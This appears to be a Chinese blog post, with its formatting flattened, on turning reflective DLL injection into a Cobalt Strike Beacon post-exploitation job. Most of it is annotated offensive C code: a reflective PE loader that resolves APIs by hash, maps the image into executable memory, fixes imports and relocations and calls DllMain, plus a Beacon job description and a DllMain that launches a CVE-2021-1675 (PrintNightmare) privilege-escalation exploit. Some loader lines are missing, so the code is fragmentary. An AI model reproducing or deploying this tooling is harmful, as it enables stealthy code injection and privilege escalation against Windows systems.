Reflective DLL injection is a library injection technique in which the concept of reflective programming is employed to perform the loading of a library from memory into a host process. As such the library is responsible for loading itself by implementing a minimal Portable Executable (PE) file loader. It can then govern, with minimal interaction with the host system and process, how it will load and interact with the host.
// compare the hash with that of kernel32.dll if( (DWORD)uiValueC == KERNEL32DLL_HASH ) { // get this modules base address uiBaseAddress = (ULONG_PTR)((PLDR_DATA_TABLE_ENTRY)uiValueA)->DllBase;
// get the VA of the modules NT Header uiExportDir = uiBaseAddress + ((PIMAGE_DOS_HEADER)uiBaseAddress)->e_lfanew;
// uiNameArray = the address of the modules export directory entry uiNameArray = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT ];
// get the VA of the export directory uiExportDir = ( uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress );
// get the VA for the array of name pointers uiNameArray = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNames );
// get the VA for the array of name ordinals uiNameOrdinals = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNameOrdinals );
usCounter = 3;
// loop while we still have imports to find while( usCounter > 0 ) { // compute the hash values for this function name dwHashValue = hash( (char *)( uiBaseAddress + DEREF_32( uiNameArray ) ) );
// if we have found a function we want we get its virtual address if( dwHashValue == LOADLIBRARYA_HASH || dwHashValue == GETPROCADDRESS_HASH || dwHashValue == VIRTUALALLOC_HASH ) { // get the VA for the array of addresses uiAddressArray = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfFunctions );
// use this functions name ordinal as an index into the array of name pointers uiAddressArray += ( DEREF_16( uiNameOrdinals ) * sizeof(DWORD) );
// get the next exported function name uiNameArray += sizeof(DWORD);
// get the next exported function name ordinal uiNameOrdinals += sizeof(WORD); } } elseif( (DWORD)uiValueC == NTDLLDLL_HASH ) { // get this modules base address uiBaseAddress = (ULONG_PTR)((PLDR_DATA_TABLE_ENTRY)uiValueA)->DllBase;
// get the VA of the modules NT Header uiExportDir = uiBaseAddress + ((PIMAGE_DOS_HEADER)uiBaseAddress)->e_lfanew;
// uiNameArray = the address of the modules export directory entry uiNameArray = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT ];
// get the VA of the export directory uiExportDir = ( uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress );
// get the VA for the array of name pointers uiNameArray = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNames );
// get the VA for the array of name ordinals uiNameOrdinals = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNameOrdinals );
usCounter = 1;
// loop while we still have imports to find while( usCounter > 0 ) { // compute the hash values for this function name dwHashValue = hash( (char *)( uiBaseAddress + DEREF_32( uiNameArray ) ) );
// if we have found a function we want we get its virtual address if( dwHashValue == NTFLUSHINSTRUCTIONCACHE_HASH ) { // get the VA for the array of addresses uiAddressArray = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfFunctions );
// use this functions name ordinal as an index into the array of name pointers uiAddressArray += ( DEREF_16( uiNameOrdinals ) * sizeof(DWORD) );
// store this functions VA if( dwHashValue == NTFLUSHINSTRUCTIONCACHE_HASH ) pNtFlushInstructionCache = (NTFLUSHINSTRUCTIONCACHE)( uiBaseAddress + DEREF_32( uiAddressArray ) );
// decrement our counter usCounter--; }
// get the next exported function name uiNameArray += sizeof(DWORD);
// get the next exported function name ordinal uiNameOrdinals += sizeof(WORD); } }
// we stop searching when we have found everything we need. if( pLoadLibraryA && pGetProcAddress && pVirtualAlloc && pNtFlushInstructionCache ) break;
// get the next entry uiValueA = DEREF( uiValueA ); }
// STEP 2: load our image into a new permanent location in memory...
// get the VA of the NT Header for the PE to be loaded uiHeaderValue = uiLibraryAddress + ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew;
// allocate all the memory for the DLL to be loaded into. we can load at any address because we will // relocate the image. Also zeros all memory and marks it as READ, WRITE and EXECUTE to avoid any problems. // 重新分配内存镜像大小的空间 uiBaseAddress = (ULONG_PTR)pVirtualAlloc( NULL, ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.SizeOfImage, MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE );
// uiValueA = the VA of the first section // section区域在OptionHeader之后 uiValueA = ( (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader + ((PIMAGE_NT_HEADERS)uiHeaderValue)->FileHeader.SizeOfOptionalHeader );
// itterate through all sections, loading them into memory. // 获取区段数目 uiValueE = ((PIMAGE_NT_HEADERS)uiHeaderValue)->FileHeader.NumberOfSections; while( uiValueE-- ) { // uiValueB is the VA for this section uiValueB = ( uiBaseAddress + ((PIMAGE_SECTION_HEADER)uiValueA)->VirtualAddress );
// uiValueC if the VA for this sections data uiValueC = ( uiLibraryAddress + ((PIMAGE_SECTION_HEADER)uiValueA)->PointerToRawData );
// copy the section over uiValueD = ((PIMAGE_SECTION_HEADER)uiValueA)->SizeOfRawData;
// get the VA of the next section uiValueA += sizeof( IMAGE_SECTION_HEADER ); }
解析导入表,根据PE中IAT和INT来完成地址修正。
// itterate through all imports while( ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->Name ) { // use LoadLibraryA to load the imported module into memory // 利用LoadLibrary API加载进内存 返回到地址 uiLibraryAddress = (ULONG_PTR)pLoadLibraryA( (LPCSTR)( uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->Name ) );
// uiValueD = VA of the OriginalFirstThunk //INT导入表地址 uiValueD = ( uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->OriginalFirstThunk );
// uiValueA = VA of the IAT (via first thunk not origionalfirstthunk) // IAT导入表地址 uiValueA = ( uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->FirstThunk );
// itterate through all imported functions, importing by ordinal if no name present while( DEREF(uiValueA) ) { // sanity check uiValueD as some compilers only import by FirstThunk // 根据INT序号进行导入 if( uiValueD && ((PIMAGE_THUNK_DATA)uiValueD)->u1.Ordinal & IMAGE_ORDINAL_FLAG ) { // get the VA of the modules NT Header uiExportDir = uiLibraryAddress + ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew;
// uiNameArray = the address of the modules export directory entry uiNameArray = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT ];
// get the VA of the export directory uiExportDir = ( uiLibraryAddress + ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress );
// get the VA for the array of addresses uiAddressArray = ( uiLibraryAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfFunctions );
// use the import ordinal (- export ordinal base) as an index into the array of addresses uiAddressArray += ( ( IMAGE_ORDINAL( ((PIMAGE_THUNK_DATA)uiValueD)->u1.Ordinal ) - ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->Base ) * sizeof(DWORD) );
// patch in the address for this imported function // 填写IAT地址 DEREF(uiValueA) = ( uiLibraryAddress + DEREF_32(uiAddressArray) ); } else { // 根据名称导入 // get the VA of this functions import by name struct uiValueB = ( uiBaseAddress + DEREF(uiValueA) );
// use GetProcAddress and patch in the address for this imported function // 通过pGetProcAddress 修正IAT DEREF(uiValueA) = (ULONG_PTR)pGetProcAddress( (HMODULE)uiLibraryAddress, (LPCSTR)((PIMAGE_IMPORT_BY_NAME)uiValueB)->Name ); } // get the next imported function uiValueA += sizeof( ULONG_PTR ); if( uiValueD ) uiValueD += sizeof( ULONG_PTR ); }
// get the next import uiValueC += sizeof( IMAGE_IMPORT_DESCRIPTOR ); }
// STEP 5: process all of our images relocations...
// calculate the base address delta and perform relocations (even if we load at desired image base) // 获取到默认载入基址与真实载入地址差值 uiLibraryAddress = uiBaseAddress - ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.ImageBase;
// uiValueB = the address of the relocation directory // 获取到重定位目录地址 uiValueB = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_BASERELOC ];
// check if their are any relocations present if( ((PIMAGE_DATA_DIRECTORY)uiValueB)->Size ) { // uiValueC is now the first entry (IMAGE_BASE_RELOCATION) // 获取重定位表地址 uiValueC = ( uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiValueB)->VirtualAddress );
// and we itterate through all entries... // 区块大小 while( ((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock ) { // uiValueA = the VA for this relocation block uiValueA = ( uiBaseAddress + ((PIMAGE_BASE_RELOCATION)uiValueC)->VirtualAddress );
// uiValueB = number of entries in this relocation block // SizeOfBlock = IMAGE_BASE_RELOCATION + TypeOffset 从而获取到relocation block的数目 uiValueB = ( ((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION) ) / sizeof( IMAGE_RELOC );
// uiValueD is now the first entry in the current relocation block // 第一个项 uiValueD = uiValueC + sizeof(IMAGE_BASE_RELOCATION);
// we itterate through all the entries in the current block... while( uiValueB-- ) { // perform the relocation, skipping IMAGE_REL_BASED_ABSOLUTE as required. // we dont use a switch statement to avoid the compiler building a jump table // which would not be very position independent! // 根据类型来进行偏移修正 if( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_DIR64 ) *(ULONG_PTR *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += uiLibraryAddress; elseif( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_HIGHLOW ) *(DWORD *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += (DWORD)uiLibraryAddress;
// get the next entry in the current relocation block uiValueD += sizeof( IMAGE_RELOC ); }
// get the next entry in the relocation directory uiValueC = uiValueC + ((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock; } }
最后则是获取DLL的入口地址,去正常执行。
// STEP 6: call our images entry point
// uiValueA = the VA of our newly loaded DLL/EXE's entry point // 获取入口地址 uiValueA = ( uiBaseAddress + ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.AddressOfEntryPoint );
// We must flush the instruction cache to avoid stale code being used which was updated by our relocation processing. // 刷新指令来应用我们重定位过后的指令 pNtFlushInstructionCache( (HANDLE)-1, NULL, 0 );
// call our respective entry point, fudging our hInstance value #ifdef REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR // if we are injecting a DLL via LoadRemoteLibraryR we call DllMain and pass in our parameter (via the DllMain lpReserved parameter) ((DLLMAIN)uiValueA)( (HINSTANCE)uiBaseAddress, DLL_PROCESS_ATTACH, lpParameter ); #else // if we are injecting an DLL via a stub we call DllMain with no parameter ((DLLMAIN)uiValueA)( (HINSTANCE)uiBaseAddress, DLL_PROCESS_ATTACH, NULL ); #endif
// STEP 8: return our new entry point address so whatever called us can call DllMain() if needed. return uiValueA;
Spawn a Reflective DLL as a Beacon post-exploitation job. Arguments $1 - the id for the beacon. This may be an array or a single ID. $2 - the local path to the Reflective DLL $3 - a parameter to pass to the DLL $4 - a short description of this post exploitation job (shows up in jobs output) $5 - how long to block and wait for output (specified in milliseconds)
BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpReserved) { BOOL bReturnValue = TRUE; switch (dwReason) { case DLL_QUERY_HMODULE: if (lpReserved != NULL) *(HMODULE*)lpReserved = hAppInstance; case DLL_PROCESS_ATTACH: hAppInstance = hinstDLL; /* print some output to the operator */ if (lpReserved != NULL) { printf("Hello from test.dll. Parameter is '%s'n", (char*)lpReserved); } else { printf("Hello from test.dll. There is no parametern"); } MessageBoxA(NULL, "Hello from beacon.exe", "Box", MB_OK);
/* flush STDOUT */ fflush(stdout);
/* we're done, so let's exit */ ExitProcess(0); break; case DLL_PROCESS_DETACH: case DLL_THREAD_ATTACH: case DLL_THREAD_DETACH: break; } return bReturnValue; }
pName A pointer to a null-terminated string that specifies the name of the server on which the driver should be installed. If this parameter is NULL, the function installs the driver on the local computer. 可以发现这里可以指定一个server的名称,为空的话,则代表安装到本地 根据腾讯给出的公告,1675调用的漏洞链是:AddPrinterDriverExW->RpcAddPrinterDriver,但是这个过程没给出具体分析。
BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpReserved) { BOOL bReturnValue = TRUE; switch (dwReason) { case DLL_QUERY_HMODULE: if (lpReserved != NULL) *(HMODULE*)lpReserved = hAppInstance; case DLL_PROCESS_ATTACH: hAppInstance = hinstDLL; /* print some output to the operator */ if (strlen((char *)lpReserved) > 0){ CVE_2021_1675_LPE(charTowchar((char *)lpReserved)); } else { printf("Error, No Paramter!n"); } /* flush STDOUT */ fflush(stdout);
/* we're done, so let's exit */ ExitProcess(0); break; case DLL_PROCESS_DETACH: case DLL_THREAD_ATTACH: case DLL_THREAD_DETACH: break; } return bReturnValue; }
评论